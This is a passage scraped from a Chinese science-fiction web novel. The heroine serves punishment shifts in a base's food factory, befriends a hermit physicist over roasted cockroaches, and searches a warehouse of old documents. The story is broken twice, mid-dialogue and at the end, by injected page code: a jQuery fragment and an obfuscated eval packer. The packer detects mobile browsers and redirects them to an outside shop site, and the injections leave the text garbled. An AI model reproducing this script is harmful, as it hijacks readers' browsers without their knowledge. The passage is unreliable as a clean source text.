$(''.inform'').remove(); $(''#content'').append('' 领取清扫用的装备——一根长柄硬毛刷,和一把轻便的小刷子。 “小刷子估计是给我们自己用的,”施蓝声音闷闷的,“这里的真菌孢子繁殖极快,要是糊住了面罩,咱们就真成瞎子了。” 宣黎阳认命地叹了口气,下楼来到池边,小心翼翼地滑入了那粘稠的、散发着恶臭的池液中。液体瞬间淹到她胸口,像是陷入了泥浆,每移动一步都非常艰难。虽然但是,她真的产生了很不好的联想。 挥去脑袋中的胡思乱想,她开始挥舞长刷,清理附着在池壁上的滑腻真菌。这工作没什么技术含量,就是纯粹的体力消耗,尤其是对于她这种弱鸡来说,非常不友好。没干多久,她就感觉手臂酸软,呼吸也急促起来。 那些连接池子的管道内部更是麻烦,直径比她整个人还粗,里面堵塞的菌块需要她整个人爬进去,用刷子一点点抠挖。 干了一会儿,她实在撑不住,艰难地爬回岸上,本想掀开面罩大口喘气,但一露面呼吸,她又迅速地把面罩戴上了——无他,酸爽而已。再看旁边的施蓝,动作比她快多了,她负责的那个池子已经清理了大半。 “我们每天吃的……就是这些东西加工出来的?”宣黎阳看着眼前这片翻腾的呕吐物状的液体,感觉胃里也一阵翻江倒海。 施蓝手上动作没停:“这些都是基础营养源。矿物质区提供钙和碘,这里主要产出真菌油脂、纤维素和部分维生素。后面还有风味改良区,合成色素、香精和甜味剂。以及……” 她顿了顿,语气中是劫后余生的庆幸:“蛋白质区。幸好没让我们去那儿。” “那里怎么了?”明知自己不该问,但人类天生的好奇心还是让宣黎阳迈出了这勇敢的一步。 “那里饲养着自然界蛋白质转化效率最高的生物,顺便处理掉人类产生的有机垃圾、生活污水和排泄物。”施蓝言简意赅,不愿多言。 宣黎阳立刻明白了,她想起曾经看过的末世电影中,列车上的穷人吃的“蛋白质块”,好不容易淡下去的恶心感又涌了上来。好了,这回食堂的果冻是真的不香了。没想到到了高科技时代,她竟然要亲身实践那堪比电车难题的世界性难题——你是愿意吃巧克力味的XX,还是XX味的巧克力。 哕—— 相比起来,眼前这仅仅是气味恶心的微生物区,确实可以称得上是天堂了。 施蓝高效地完成了自己池子的清理工作,提出要帮她,宣黎阳却摆手拒绝:“你已经帮我很多了,这次是我连累你。我自己的活儿自己干完。” 施蓝也不再坚持,先行离开,想必是直奔训练场去弥补今天错过的无氧训练了。 夜深人静,晚班也结束了,偌大的微生物区只剩下宣黎阳一人。矿物质区的机器早已停转,厂区陷入一片安静,只有她手中刷子刮擦池壁发出的沙沙声,在空旷的厂房内回荡。 就在她全神贯注对付一段堵塞严重的管道时—— 嗒,嗒…… 嗒,嗒…… 奇怪的声音蓦地响起,声音很轻,但在此时的寂静中显得十分突兀。 宣黎阳的动作一停,猛然抬头,循声望去。 只见二楼通道的阴影中闪过一道模糊而矫健的影子,一眨眼便迅速消失在通往蛋白质区的方向。 都这么晚了,加工厂为什么还会有人? 16. 蛋白质区 宣黎阳下意识就想追上去看个究竟。 都说好奇心害死猫,但万一她能发现什么加工厂的秘密,是不是就能抵消这次惩罚了?再加上她也不是没有防身的技能,只是跟踪尾随,不至于有太大的危险。 说走就走。宣黎阳刚一动作,身下粘稠的胶着感就死死拉住了她,是那些恶心的池水。等她奋力地提着裤子爬上岸,手忙脚乱地脱下沉重的防护服时,那道黑影早已不见踪影。 宣黎阳小心翼翼地爬上二楼的金属网格通道。她环顾四周,检查了每一个可能藏匿的角落,但除了设备和管道投下的交错阴影外,再无他物。 不知不觉间,她来到连接微生物区和蛋白质区的隔离门前。面对这个传说中极其恐怖的存在,宣黎阳咽了咽口水,透过小小的观察窗向里望去。 里面一片漆黑,只有逃生通道指示灯发着绿色的光。屏息静听,门后还传来“窸窸窣窣”的声音,像是有什么东西摩擦着金属墙壁,又像是巨大的物体摩挲地板,但她什么也看不见。 一瞬间,宣黎阳的脑海里闪过很多经典影视片段,什么异形、咒怨…… 算了,不管了。 她瞬间打消了推门进去的念头。 重新回到发酵池,宣黎阳心无旁骛快速完成了自己的工作,这才拖着快要散架的身体悄悄离开。 回到宿舍,大家早已睡下。宣黎阳草草梳洗后就沉沉睡去。进入梦乡前还不忘提醒自己,明天一定要记得把这件事汇报给舒彤她们。 第二天早餐时分,宣黎阳举着勺子,僵坐在餐桌前一动不动,面前的盘子里是一大块可疑的,duangduang摇摆的灰绿色果冻。 卡拉习以为常地几口吞掉,面无表情地说:“哇,是青苹果味耶。” 青苹果?那似乎还能接受。宣黎阳努力抛去昨晚工作的记忆,鼓起勇气,试探性地舀了一小勺,口中念念有词。 “这是非常卫生的食物,已经经过了数道严苛的处理,有益于我的身体健康。” 就这样洗脑了十几遍,她张开嘴,小心翼翼地尝了一口。 预料中的清新苹果味并没有充溢着口腔,相反,味蕾被一种极其逼真的、泥土味夹杂鱼腥味的口感狠狠侵略。 不好,是折耳根! 宣黎阳面色一垮,就见卡拉瞬间和她一样,呸呸呸地吐着舌头,疯狂灌下去一杯水。 宣黎阳奄奄一息地控诉:“不是,为了骗我,你是真拼命啊……还有,为什么连这个风味也要做得么写实啊!” 施蓝是真的不在乎,三下五除二地吃掉了:“因为我们的长官之一是南方人。” 好吧,官大是了不起。 宣黎阳投降。她把昨晚在食品加工厂的遭遇告诉了同桌的几人,她们的反应却出乎意料地平淡。 卡拉也缓过劲来,不以为然地摆摆手:“哎呀,你说那个啊!肯定是住在基地外面那个老疯子又溜进来了!他时不时就会偷偷摸进来搞点零嘴,大家基本上都知道。琼指挥官看他可怜,也没造成什么破坏,就睁一只眼闭一只眼,随他去了!” 宣黎阳有些不解:“偷?他为什么要偷?食堂不是有免费配给的基础食物吗?”虽然味道和原料都一言难尽,但至少能果腹。 卡拉撇撇嘴:“那老头怪得很,不喜欢吃我们加工好的成品,就喜欢那些,呃,原汁原味。再说了,他不在基地内,没有贡献点,想换点口味好点的天然食物都没办法,只能靠偷了。” “他一个人住在基地外面?不危险吗?” 施蓝喝了一大口水,闷声道:“他在这一带晃荡好些年了,也没见有什么事儿,估计有自己的生存之道。” 卡拉补充道:“琼指挥官其实心肠挺好,以前也想把他接进基地安置,但那老头脑子好像不太清醒,死活不愿意,总嚷嚷着要往外跑,说有什么重要的东西在山顶……好像叫什么……深空13号?反正神神叨叨的,没人听得懂他在说什么。” 深空13号? 宣黎阳握着勺子的手微微一顿,她总觉得这个名字似曾相识。 转眼,两周的处罚期终于熬到了头。最后一晚,宣黎阳带着即将解脱的心情,干活格外卖力,将发酵池的边边角角都擦得锃亮。 这两周,她过着重复而又疲惫的生活,每天天不亮就被施蓝从床上拎起来晨练。 白天,她跟着小队完成后勤部分配的各种杂活——包括但不限于检修基地外围警报器,将立体农场收集的粪污运往食品加工厂,清洗、分类刚从尸体上回收来的义体和芯片,以及疏通宿舍浴室下水道堵塞的头发。 晚上,她则继续清洗发酵池直到深夜。尽管留了心,可她再也没遇到过那个黑影。 每天每天都是单调的体力活,获得的贡献点却少得可怜。宣黎阳做得苦不堪言,她迫不及待地想参加外勤任务,不只是为了获取更多贡献点,她还记得要寻找机会进入源界,提升“烟烟罗”的能力。 基地里其他人对她的态度依旧微妙。虽然没有人再来直接找她麻烦,但她还是能感受到那些并非善意的目光和窃窃私语。遇上这种人,宣黎阳都选择目不斜视地走过,她不打算在这些杂音上耗费心神。 唯一让她感到欣慰的是,她的舌头和肠胃似乎终于向这个世界屈服了。无论是什么稀奇古怪口味的果冻,她都能面不改色地吃完,完全不在意它们究竟源自何种原材料。 种花家的胃,就是啥都能吃! 只是,连续两周的高强度体力工作,再加上晨练,她的身体素质却不见丝毫改善,依旧爬几层楼梯就开始气喘,拎一袋肥料就变成废人。宣黎阳暗自决定,有时间一定要找加里医生给她再做个全面检查。可惜,那位话很多的光头医生似乎总是被别的部门借走,宣黎阳总是抓不到他人。 处罚期结束的第二天一早,她和施蓝来到后勤部办公室,准备找丰部长验收,确认处罚结束。 丰部长看到她们进来,还没等她们开口,就忙不迭地点头,为数不多的头发也跟着一起颤动:“啊,好,好,辛苦两位了!任务完成得很好,非常好!我已经收到厂区负责人的反馈了,说清理得非常彻底!你们特种兵就是不一样啊,干什么像什么!” 他一边说着,一边似乎想赶紧把这件事翻篇,大手一挥:“手续我都批了,你们赶紧归队!小队人终于齐了,正好有几个需要点战斗经验的外勤任务可以安排给你们!” 宣黎阳心中一阵雀跃。终于可以摆脱这枯燥恶心的工作,出去执行真正的任务了! 然而,就在她和施蓝转身准备离开之际,那个黏腻的声音再次响起,像一条冰冷的蛇缠上了她的脚踝。 “哟,这是上次的处罚做完了啊?” 贾哈·霍尔不知何时来到门口,灰色的眼睛带着戏谑的光芒,慢悠悠地扫过两人。 施蓝脚步一顿,面无表情地打招呼:“霍尔长官。” 宣黎阳心里骂了一万句,但面上也只能跟着低声道:“霍尔长官。” 霍尔仿佛没看到她们脸上的晦气,继续用他一贯拖着长音的语调:“丰部长,她们完成得怎么样啊?要是没打扫干净,可是要罚加时的哦?基地的纪律不容马虎!” 丰部长赶紧赔笑,额头又开始冒汗:“挺好,挺好!绝对达标了!霍尔长官,特种兵到我们这儿真是大材小用,干得又快又好,负责人说微生物区的发酵池就没这么干净过!” “是嘛——”霍尔拖长了声音,脸上露出一个假笑,目光落在施蓝身上,“那恭喜你啊,施蓝,你的处罚结束了。今天晚上就可以好好休息了。” 施蓝立刻察觉到不对,眉头皱起:“那宣黎阳呢?” 霍尔恍然大悟般地看向宣黎阳,脸上是毫不掩饰的嘲讽:“啊,她呀?她还得继续。” “为什么?”宣黎阳和施蓝几乎异口同声地质问。 霍尔不慌不忙,从口袋里掏出一个便携数据板,装模作样地划拉着: “两周前,也就是你被舒彤队长带回基地的当天晚上,基地局域网络受到攻击,有人触发了自动防御程序。经过我们安全防卫部这两周加班加点的不懈追查… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061693|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 他抬起眼,漫不经心地看向宣黎阳:“终于锁定了入侵信号的源头。宣黎阳,需要我提醒你,那天晚上你做了什么吗?” 宣黎阳心中猛地一沉。 施蓝原本还在愤愤不平,余光看到宣黎阳的表情,愣了一下。 霍尔阴骘的目光犹如钩子般缠上宣黎阳:“我能请你告诉我,为什么要去攻击局域网络吗?” 宣黎阳强压下想把数据板拍在霍尔脸上的冲动,声音冷得像冰:“如果安全防卫部确实查清楚了,那你们应该知道,这并不能算是一次攻击。我的S级义体专攻源界网络,那只是我对自己技能的一次训练,偶然间扩大到了基地局域网,但我一对接上就自觉退缩了,且没有清除我的痕迹,不是吗?” “否则,你们不可能现在还能悠闲地还坐在办公室里,闲来无事给别人找小鞋穿。” “你!”霍尔像被踩住了蛇尾巴,“有意还是无心,我们自有判断。危害基地网络安全,这个罪名,可比在训练场跟人动手动脚要严重多了。” “那霍尔长官这次打算怎么惩罚我?” 霍尔收起数据板,好整以暇地宣布:“念在你是初犯,局域网络也没遭到什么实质破坏,处罚嘛,倒也不会太重。就罚你继续晚班打扫合成食品加工厂,一个月。怎么样,很公道吧?” 一个月!宣黎阳感觉一股血气直冲头顶。但她知道,此刻任何的争辩和反抗都不会减轻自己的出发,只会让面前这个毒蛇更得意。 她不能再拖累队友了,索性强迫自己冷静下来,脸上看不出表情,只是沉默地用眼神回应。 霍尔见她这副隐忍却不服气的样子,似乎很是满意,又觉得还不够,转向丰部长:“丰部长啊,你刚才不是说,微生物区已经被她们打扫得焕然一新了吗?” 他笑容灿烂:“我看她真的很适合这份工作呢。正巧蛋白质区积压了不少活,不如就让她去那边吧?你觉得呢?” “蛋白质区?”施蓝终于忍不住低声抗议。 宣黎阳一把拦住想要上前理论的施蓝。她抬起头,毫无畏惧地直视霍尔,语气平静: “霍尔长官,我还有什么不知道的罪名,不如您今天一并发落了吧?也省得您三天两头往后勤部跑。” 霍尔脸上的笑容更深了,仿佛很欣赏她这副硬骨头的样子:“先把这次的工作好好完成了吧。” 他不再多言,带着胜利者的姿态,慢悠悠地踱着步子离开了办公室。 当天晚上,饶是宣黎阳有心理准备,在蛋白质区的隔离门打开时,她还是被震惊到了。 她下意识地后退了半步。 和微生物区的死气沉沉相比,蛋白质区明显更“生机勃勃”。四个巨大的的培养池一字排开,上方覆盖着带有密集气孔的透明盖板。粗大的管道将有机垃圾源源不断地泵入池中。 离她最近的一个培养池中不断向上翻涌着红褐色的不明液体。宣黎阳强忍着不适凑近看去,瞬间头皮发麻,汗毛直立。 老天,那根本不是什么液体,而是数万只油光锃亮、体型硕大的美洲大蠊在疯狂涌动!新的垃圾刚刚通过管道投入,它们便如同潮水般一拥而上,瞬间将垃圾覆盖,发出令人窒息的啃噬声,粗壮的触须张牙舞爪,锯齿状的利腿不断攀登上同伴的背部去抢夺食物,又被更多的同类踩在脚下。 旁边第二个培养池,显示器上标注着高温和高湿度。池内是成群结队、嗡嗡乱飞的绿头苍蝇,它们围绕着新投入的、已经开始腐败的有机废物盘旋、产卵。宣黎阳不由自主地看向池底,底层覆盖着一层厚厚的、不断扭动着的白色蛆虫,肥胖的身躯起起伏伏,很容易让人联想起这东西在自己身上蠕动的恶心触感。 她已经不想去看更远处的池子里有什么了。就算是好奇心的猫都得脚步焊死在这。 “你的任务是把跑出来的虫子抓回去。”食品加工厂的负责人声音急促,指了指工具间方向,“用工具间里的吸尘器。” 他匆匆交待完注意事项,立刻脚底抹油,溜得比上次更快了。 17. 烤羊肉串 天妒英才啊。 宣黎阳想仰天长叹,但开口就是池子的恶臭攻击。她认命地开始了她在蛋白质区的工作,反复确认防护服没有任何缝隙后,一边洗脑自己“我是见过世面的南方人”,一边鼓起勇气走下楼梯,举起吸尘器,对准地面上快速移动的褐色虫群。 南方人也没有见过这么多大蠊啊! 宣黎阳欲哭无泪。而且这工作没有看起来那么简单,吸尘器的噪音一响,那些油光水滑的美洲大蠊四散奔逃,速度快得惊人,有的还会展翅高飞,根本不好抓。 宣黎阳不得不跟着它们东奔西跑,视觉上的冲击暂且不说,光是这你追我赶的过程就让她的体力迅速消耗,没一会儿就累得气喘吁吁。 更令人绝望的是,她很快意识到这个任务是个无底洞——培养池盖板上的气孔就是为了通风,虫子源源不断地从里面爬出来,她抓进去一批,马上又有新的冒出来,根本看不到尽头。 这分明就是霍尔想出折磨她的招数。 她索性关掉吸尘器,回到二楼平台,一屁股坐在金属通道的地板上发呆。 就在这时,一个神神叨叨的声音突兀地响了起来,像是完全没注意到她的存在: “今天整点大蠊烤着吃吧……这批大蠊看起来已经熟了,等了好久,半个月前还没长成……不如以前的小蠊,小蠊长得快,个头小,还容易入味……” 宣黎阳循声望去,只见一个穿着臃肿的矮小身影,正旁若无人地从她身边走过,熟练地沿着楼梯下到一楼。 那人走到最近的美洲大蠊培养池边,动作麻利地掀开一角盖板,用一个自制的长柄网兜飞快地捞起一大捧还在疯狂扭动的大蠊,然后若无其事地盖好盖子,转身往回走。整个过程行云流水,压根没往宣黎阳这边看一眼。 宣黎阳看得目瞪口呆。hello?这里还有人呢?不得已,她清了清嗓子,试图引起对方的注意。 那身影动作一顿,但依旧低着头,用更小的声音继续念叨:“今天怎么有个人在这里……没关系,没关系,只要不跟人对视,就看不到我,看不到我……我先烤完这一批,垫垫肚子,然后继续抓大蠊……大蠊块头大,油脂多,烤起来应该比小蠊香多了,再撒上一把孜然,嘶溜,想想就流口水……” 听着这掩耳盗铃般的自言自语,宣黎阳差点没笑出声。她干脆抱着胳膊,坐在原地,看他到底要表演到什么时候。 只见那人影回到二楼,继续旁若无人地从宣黎阳身边经过,摘掉帽子,露出灰白色的头发和细密的抬头纹,随后从鼓鼓囊囊的衣服里,掏出了一个……便携式电烤炉。 他熟练地接通电源,打开开关,将网兜里还在挣扎的大蠊直接倒在电烤炉的烤盘上。 噼啪,噼啪…… 细微的爆裂声响起,大蠊褐色的外壳在高温下迅速变得焦黄卷曲,蛋白质高温变形的味道弥散开来,闻起来居然真的有点像烤肉。 更离谱的是,干了一晚上体力活的宣黎阳,闻着这味道,居然有点饿了。 那小老头似乎完全沉浸在自己的美食世界里,他翻了个面,眼疾手快地撒上一把孜然粉,烤大蠊的香气更是提升了一个档次。 完蛋,这下更像烤羊肉串了。 小老头毫不在意地用手抓起一个烤得滋滋冒油、外壳已经裂开的大蠊,直接扔进了嘴里,一边呼哧呼哧地吹气,一边嚼得嘎嘣脆,露出心满意足的神情。 宣黎阳这辈子都没想到能看到有人把大蠊吃得这么香,还是在这样一个,嗯,条件恶劣的环境下。 她犹豫了一下,悄悄凑了过去,小声问:“……好吃吗?” “哎呀!” 那小老头被她的突然出声吓了一跳,猛地缩了一下,手里的烤大蠊差点掉地上。 他嘴里依旧念念有词,但不敢抬头看宣黎阳:“那个人在跟我说话,为什么要跟我说话,难道是看到我了?我不能回答,不出声就听不见我,听不见我……” 宣黎阳彻底无语了。这小老头在她眼皮底下偷基地的食物吃,还在这里自欺欺人。 她心一横,干脆也豁出去了,把自己的防护面罩摘了,屏住呼吸,学着小老头的样子,伸手从烤炉上拿起一个烤得流油的大蠊,快速把碍眼的触须和腿拔掉,然后在那小老头震惊的眼神中,蘸了点孜然粉,眼睛一闭,送进了嘴里。 咔嚓,咔嚓。 外壳酥脆,内部是一种带着孜然香味和油脂的肉味。味道居然…… 还行。 完了,她的阈值已经被食堂的果冻拉得太低了。 那小老头指着她,结结巴巴地惊叫:“你你你——!” 宣黎阳三下五除二吃完,抖掉手指上残余的孜然,理直气壮地看着他:“你什么你?这里是我的地盘,你在我的地盘偷东西吃,我不计较就很不错了,吃你点东西怎么了?” 小老头瞪着眼睛看了她几秒,好像很快接受了现实。他撇撇嘴,嘟囔道:“行吧,算你一个。不过下次你自己抓!还有孜然!你得赔我你吃掉的孜然!” 没忍住,宣黎阳又开始朝另一只大蠊下手:“没好说好说,我的贡献点都拿来换孜然!还有十三香!辣椒面!你想要烤大蠊蘸什么都行!” 两人合作,很快就把那一网兜烤大蠊消灭得干干净净,只留下一地狼藉。 小老头意犹未尽地咂咂嘴,眼睛瞟向楼下那些培养池:“味道还行。要不再去搞一点?” 宣黎阳拍了拍身边的吸尘器,里面还有她刚才辛辛苦苦抓的虫子:“不用那么麻烦,这里就有现成的,刚吸了不少进来。” 小老头皱着眉头,嫌弃地看了一眼吸尘器:“你这玩意儿……多久没洗了?不干净吧?” 宣黎阳都被他气乐了:“大蠊难道还有干净的吗?” 小老头愣了一下,歪着头想了想,自言自语地嘟囔:“……说的也是。反正高温杀菌,高温杀菌……” 两人一边烤一边闲聊,竟生出点同道中人的惺惺相惜。宣黎阳总算把这个传说中的疯老头子摸清楚了些。 小老头名叫褚乐山,按他的说法,已经六十多岁了,是战前出生的、纯天然的自然人,没经过任何义体改造,也不是人造子宫里孵化出来的。 用他颠三倒四的话说:“我爸妈……跟我一样,有自己的一套……不喜欢那些铁疙瘩插身上,别扭!需要啥,手搓!对,手搓!自己做的,用着才踏实!” 他也因此练就了极强的动手能力和生存本领,在基地外愣是能活得自给自足。 “那你一个人在基地外面,平常都干什么?”宣黎阳好奇地问。 “我自己有个小基地!”褚乐山得意地比划着,“里面家伙事儿齐全!都是我自己手搓的!材料不够了就去捡点破烂,总能找到能用的!” “那你为什么不自己种点地呢?或者养点鸡鸭什么的?也省得老是冒险跑来这儿偷虫子吃。” “忙!太忙了!”褚乐山头摇得像拨浪鼓,“没空伺候那些娇气玩意儿……” “其实我觉得你可以带点卵鞘回去养着。”宣黎阳真心建议,“没有比这更能适应环境 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倒也不光是出于好心。以宣黎阳看小说的经验,这种独自一人住在深山老林中的,一般都是世外得道高人,交个朋友总不会有坏处。 “大好人啊!你是个大好人!”褚乐山眼睛一亮,随即又摆摆手,“不过药品就不用了,我自己会弄草药。但我真有别的事要求你!大事!” “什么事?” “我一直在找一本书!”褚乐山凑近了些,神秘兮兮地压低声音,“我在网上怎么找都找不到,估计是只有纸质版留下来了,被你们基地收破烂的当垃圾打包捡回去了。你能不能帮我找找?” “什么书?” “对你们肯定没用!”褚乐山立刻强调,仿佛怕宣黎阳抢了他的宝贝,“现在基地里,没人看得懂这些天书了,留着也是占地方!但对我的研究有大用!书名叫《耦合谐振子作为李模型经典对应》!” 宣黎阳心中猛地一动:“你是物理学家?” 深空13号!她想起来了! 在她原先2025年的世界,在午后昏昏欲睡的课堂似乎听思修老师提到过,专门强调了要作为期中考试考点——当时国内最先进的射电望远镜“深空1号”,用于观测和研究来自天体的射电波,在暗物质、暗能量方向取得了重大突破…… 原来已经发展到13号了吗? 等等,这岂不是意味着她穿越到的,很大概率就是她自己世界的未来?她的直觉告诉她,以后四处留心,应该还能找到更多吻合的证据。 宣黎阳心一沉,看来2025年人类最深的恐惧——核武器的滥用和AI背叛人类——在未来全都变成了残酷的现实。 一股使命感压上心头。如果这里真的是她原本世界的未来,那她就更不能袖手旁观了。她必须做点什么,帮助未来挣扎求生的人类。 “好,我答应你。”宣黎阳郑重地点了点头,“但我找到之后,怎么联系你?” 褚乐山立刻眉开眼笑,在他身上几十个口袋里东掏西掏,终于掏出一堆电路板和线圈,当场手搓了两个看起来简陋但功能完好的通讯器。 “给!你一个,我一个!”他把其中一个塞到宣黎阳手里,得意地炫耀,“这是短波通讯器,跟古时候的对讲机差不多!别看不起眼,信号好着呢!我在山上,也能收到你的呼叫!” 两人达成合作,心情都轻松了不少,胃口大开,于是又去楼下补了一批食材,直到再也吃不下,这才在加工厂门口与同伙,啊不,同志道别离开。 18. 全身检查 接下来的一个月处罚期,宣黎阳的晚班生活发生了质的飞跃。她依旧准时出现在蛋白质区,但目的不是打扫,而是吃夜宵。 褚乐山把便携式电烤炉留给了她。蛋白质区声名在外,没人敢来,她也乐得自在。 她始终没忘记褚乐山的托付。终于,在一次白班任务分配时,她等到了一个绝佳的机会,丰部长需要人手清理基地的废旧仓库。 那些仓库位于基地最底层,几乎被人遗忘。据说是早期收集来的、被认为“可能有历史价值”但实际无人问津的纸质资料。原本的打算是全部将其数字化,储存在基地数据库中,但这工作一拖再拖,如今堆积如山,严重占用了空间。 新的物资即将入库,这里必须被清空。这活儿又脏又累,而且贡献点少得可怜,谁也不愿意接,因此这任务已经积压了好几个月。 当宣黎阳主动申请接手这个任务时,丰部长像看到了救世主,感激涕零。 “太好了!宣黎阳同志!你真是太有觉悟了!我要号召大家向你学习!”丰部长握着她的手用力摇晃,“你是不知道,霍尔长官催了我多少次了,说底层仓库里杂物堆积是严重的火灾隐患!你能主动站出来,真是解决了我们后勤部的大难题啊!” “哪里哪里,您太客气了。” 宣黎阳面上微笑,心里却暗自吐槽,这个霍尔怎么哪哪都有他的身影。催得这么紧,怕是有什么问题。 推开锈迹斑斑的仓库大门,室内一阵灰尘扬起。宣黎阳打开头灯,里面是各种书籍、杂志、海报、信件、报纸、广告传单、油画……甚至还有成捆的考试卷和写满公式的草稿纸,从地面一直堆积到天花板。很多纸张早已变黄褪色,还有的被水泡过又晾干,上面的字迹已经看不清了。 她小心翼翼地走进去,随便挑了附近的几份材料查阅。 熟悉的紫色配黄色封面映入眼帘,宣黎阳一看差点没笑出声——《五年高考三年模拟(数学)》,出版于2028年,字迹还算清晰。 印刷质量不错啊。 里面是五颜六色的潦草笔记,看来书的主人随手抓来什么笔就用什么笔写了。从结果上看,应该是完全不知道题干在问什么。 希望你后来能考上985吧。 宣黎阳把书扔到一边,捡起另一本薄薄的小册子,是《元宇宙虚拟社交指南(初级)》,出版于2045年。封面流光溢彩的数据流背景中,两个优雅的半透明人形在握手。 宣黎阳好奇地翻开,里面的条条框框列了一大堆。 【在公共虚拟广场,请与他人虚拟形象保持至少1.5个虚拟身位的距离。】 【严禁对他人自定义化身形象进行贬低性评价、语言或肢体攻击,违者将被暂时冻结社交权限。】 【在允许感官共享的亲密社交中,请共同设定退出规则,避免意识过度沉浸。】 这就是传说中的神交吗? 宣黎阳撇撇嘴,感觉里面的内容没什么帮助,把册子扔到一边,捡起一张宣传单。 这张传单应该是用了什么高级材料,触感细腻,色彩鲜艳,完全没有褪色的迹象。 【“梦境工厂”定制梦境服务2061年新年大促: 1.基础放松套餐:内含“海滩夕阳”、“竹林细雨”、“被窝暖炉”等10种场景。会员折扣:9折。 2.情感疗愈套餐:针对原生家庭创伤、PUA受害者、社交恐惧症患者、ADHD患者,提供“无条件的爱”、“翻身农奴把歌唱”等剧情。会员折扣:8.5折。 3.记忆美化服务:对指定真实记忆进行细节优化,消除不愉快部分,留下更美好的印象。会员折扣:8折。】 最下面是一行优雅的大字:现实给不了你的,“梦境工厂”给你。今夜,您想梦见什么? 有点意思。 宣黎阳默默把这张宣传单拍了下来。内容有些离谱,但看起来对心理疾病的治疗可能有用? 她注意到了一张看起来质量过硬的纸板。是一份标题为《征兵法修订案》的公告,纸板装订有黑色的边框和国徽水印,落款是2078年。 那就是舒彤所说的世界大战的前一年? 【为应对日益复杂的全球形势,保障国家主权和公司利益,经最高议会批准,对《征兵法》进行如下修订: 第一条:征兵年龄下调至年满十六周岁。 第二条:征兵范围扩大至所有神经兼容性评级达到C级及以上的公民,性别不限。 第四条:适龄公民接到入伍通知后,须在七十二小时内至指定地点报到,逾期或抗拒者,将依法注销其社会信用账户及相应资源配给。】 嘶。宣黎阳蹙眉。果然,世界大战的矛头,在这个阶段就有迹象了。 宣黎阳在仓库里面翻箱倒柜,感觉自己像是在几小时内走完了人类的50多年,直到2079年戛然而止。 她把所有看起来可能有点用的内容都拍照记录了下来。直到人造太阳下班,天色黑了下来,她估算了一下整理进度,还没到十分之一。 慢慢来吧。她安慰自己,毕竟她可能是唯一会在意这些历史垃圾的人了。 宣黎阳饥肠辘辘地走进食堂,一眼就看到了坐在老位置的施蓝和卡拉,舒彤依旧不见踪影。队长总是神出鬼没,不知道在忙些什么。 施蓝看到她,默默地将自己旁边的空位挪出来。宣黎阳刚坐下,就注意到卡拉脸上那副熟悉的表情,就差把“我知道个大秘密”和“快问我快问我”写在脸上了。 宣黎阳忍不住笑了,很捧场地配合她:“行了,看你这表情就知道憋不住了,快说吧,又有什么大新闻?” 卡拉一听,反而佯装生气,抱起手臂:“哼!明明是你好奇,你比我着急才对,我才不急着说呢!” 行吧,还和自己演上了。宣黎阳凑过去,抱着卡拉的胳膊来回摇晃:“对对对,是我急,我急死了,你快告诉我嘛,你不说我今晚都吃不下饭了!” 卡拉立刻破功,脸上笑开了花,压低声音,神秘兮兮地说:“行行行,告诉你!好消息!咱们小队很快就能回到特种作战部了!” “真的?”宣黎阳和施蓝异口同声,眼睛都亮了起来。她们在后勤部打杂这么久,感觉即使是利刃都快生锈了,迫不及待想出去走走。 卡拉用力点头,声音压得更低:“千真万确!按理说,我们的处罚不可能这么快结束,霍尔长官那边肯定不乐意。但是呢,”她左右看了看,确认没人注意,这才继续道,“据说是第1区的高层直接下了指令,点名要我们回到特种作战部。霍尔长官也没办法,只能同意。” 宣黎阳微微蹙眉:“第1区的高层?他们为什么会管到我们?” “你知道第1区的川崎澪将军吗?”卡拉问。 宣黎阳茫然地摇头。 一旁的施蓝闷声开口:“很有名的将军,战功赫赫。他曾经带领一支精锐部队,成功伏击过AI的‘清理者’军团,是少数在正面交锋中让AI吃了大亏的将领。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070136|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卡拉接过话头:“对!就是他。听说是他的女儿要来我们第11区历练,而川崎将军点名要她跟着舒彤队长。但舒彤现在在后勤部,总不能让那位大小姐也跟着我们一起通下水道、打扫仓库吧?所以,干脆就把我们整个小队都调回特种作战部了!” 宣黎阳若有所思:“这么说,这位大小姐要成为我们的新队友了?” “没错。” 施蓝拿起水杯喝了一口,真心实意道:“感觉我们还得谢谢她。不然,不知道还要在后勤部干多久。” “话是这么说没错……”卡拉忽然有些犹豫。 “怎么了?”宣黎阳怕又出什么幺蛾子。 卡拉凑近两人:“我打听过了,听说这位川崎家的大小姐……脾气不是很好。” 宣黎阳闻言,反而轻松地笑了出来,拿起勺子舀了一大块今天味道还算正常的果冻:“我当什么事呢!只要能离开后勤部,队友脾气不好点算什么?都是小问题!” 一个月的处罚期即将结束,烤大蠊的风味也创新了好几番,宣黎阳几乎将那些底层仓库翻了个底朝天,却始终没有找到那本《耦合谐振子作为李模型经典对应》。 在一次例行的夜宵会谈中,她将这个结果告诉了褚乐山。 小老头失望了一秒,但很快就接受了这个结果:“缘分未到,缘分未到啊……不管怎么样,我欠你个大人情!以后你要是在基地外遇到什么困难,别客气,尽管来找我!” “好!一言为定!” 又过了几天,在后勤部任务间隙,宣黎阳终于逮住了神龙见首不见尾的加里医生。算起来,除了刚进基地那天,她就再也没和加里医生见过面。 “光哥!你终于回来了!”宣黎阳隔着很远就开始喊。 加里没好气地答应:“什么光哥,叫我加里医生!小小年纪不学好,净跟着卡拉学些油嘴滑舌的……” 